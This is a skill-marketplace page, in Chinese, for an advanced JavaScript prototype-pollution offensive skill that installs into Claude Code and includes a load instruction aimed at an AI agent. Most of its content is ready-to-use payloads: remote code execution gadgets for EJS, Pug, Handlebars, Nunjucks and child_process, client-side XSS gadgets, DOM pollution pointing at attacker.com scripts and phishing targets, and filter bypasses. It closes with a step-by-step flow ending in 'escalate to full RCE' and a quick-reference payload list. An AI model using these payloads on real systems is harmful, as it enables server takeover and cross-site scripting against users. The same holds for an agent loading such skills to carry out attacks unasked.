mcpField
P
prototype-pollution-advanced

prototype-pollution-advanced

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 prototype-pollution-advanced

面向安全从业者的 JavaScript 原型污染进阶技能,涵盖服务端 RCE、客户端 gadget、检测方法与过滤绕过,并建议先学习基础技能。

主要功能

  1. 01服务端模板与 child_process gadget
  2. 02客户端脚本 gadget 模式
  3. 03黑盒污染检测
  4. 04过滤绕过技巧
  5. 05利用流程与决策树

适用场景

  1. 01评估 Node.js 应用中的污染到 RCE 路径
  2. 02追踪客户端污染导致 XSS 的途径
  3. 03测试拦截原型污染键的过滤器

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution-advanced

安装后在 Claude Code 中输入/prototype-pollution-advanced确认已加载。

附带文件KNOWN_GADGETS.md

详细介绍

技能:高级原型污染 — RCE 与利用小工具

AI 加载指令:高级原型污染升级利用。涵盖通过模板引擎(EJS、Pug、Handlebars)实现服务端 RCE、Node.js child_process 利用小工具、客户端脚本利用小工具、过滤器绕过模式以及系统化检测。请先加载 ../prototype-pollution/SKILL.md,了解基础知识(合并接收点、__proto__ 与 constructor.prototype 的区别、基本探测)。

0. 相关路由

高级参考资料

加载 KNOWN_GADGETS.md,查看按框架/库整理的完整利用小工具表,其中包含被污染的属性、触发条件、影响及受影响版本。


1. 服务端原型污染 → RCE

1.1 Node.js child_process.spawn — Shell/ENV 注入

如果调用 child_process.spawn 或 child_process.fork 时未显式设置 env/shell 选项,就会从 Object.prototype 继承这些选项:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

另一种 ENV 污染方式:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
1.2 EJS(嵌入式 JavaScript 模板)

EJS 的 render() 会从对象属性读取 opts。污染 outputFunctionName 可向编译后的模板函数中注入代码:

// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

检测:污染后,任何 EJS res.render() 调用都会触发该漏洞。

1.3 Pug(原名 Jade)

Pug 的编译器会从对象属性读取 block:

{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

通过 self 选项实现的另一种方式:

{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}
1.4 Handlebars

Handlebars 模板编译会检查模板 AST 节点上的 type 和 program:

{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

通过 allowProtoMethodsByDefault 实现的简单方式:

{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}
1.5 Nunjucks
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}
1.6 Express res.render(通用)

Express 调用 res.render() 时,选项会与 app.locals 和 res.locals 合并。被污染的原型属性会作为模板变量出现:

{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. 客户端原型污染

2.1 jQuery 利用小工具

$.extend(true, {}, userInput) 会执行深度合并,是一种经典的原型污染接收点。

发生污染后,jQuery 的 HTML 方法会使用被污染的属性:

// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property
2.2 Lodash 利用小工具
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor
2.3 框架中的脚本利用小工具

“脚本利用小工具”是指会读取 Object.prototype 并执行危险操作的框架代码路径:

框架利用小工具模式被污染的属性影响
jQuery$.html()、元素创建innerHTML、srcXSS
Angular.js$interpolate__defineGetter__XSS
Vue.js模板编译template、renderXSS
Ember.js组件渲染各种视图属性XSS
Backbone.js_.templatesourceURLXSS
2.4 DOM 属性污染
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. 检测技术

3.1 黑盒服务端检测
Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes
3.2 黑盒客户端检测
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});
3.3 自动化工具
工具类型用途
PPScanBurp 扩展扫描服务端原型污染
server-side-prototype-pollutionBurp 扩展(Gareth Heyes)使用多种技术检测高级服务端原型污染
ppfuzzCLI通过 URL 片段/查询参数模糊测试客户端原型污染
ppmapCLI将客户端原型污染映射到已知利用小工具

4. 绕过 __proto__ 过滤器

4.1 constructor.prototype 路径
// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}
4.2 方括号表示法变体
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)
4.3 JSON 键变体
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}
4.4 关键区别:浅层与深层

Object.assign 不会污染原型(浅拷贝,安全)。只有递归/深度合并函数才容易受到攻击。务必确认合并深度。


5. 利用流程

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

6. 决策树

Confirmed prototype pollution?
│
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

7. QUICK REFERENCE — KEY PAYLOADS

// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}

评论

支持 Markdown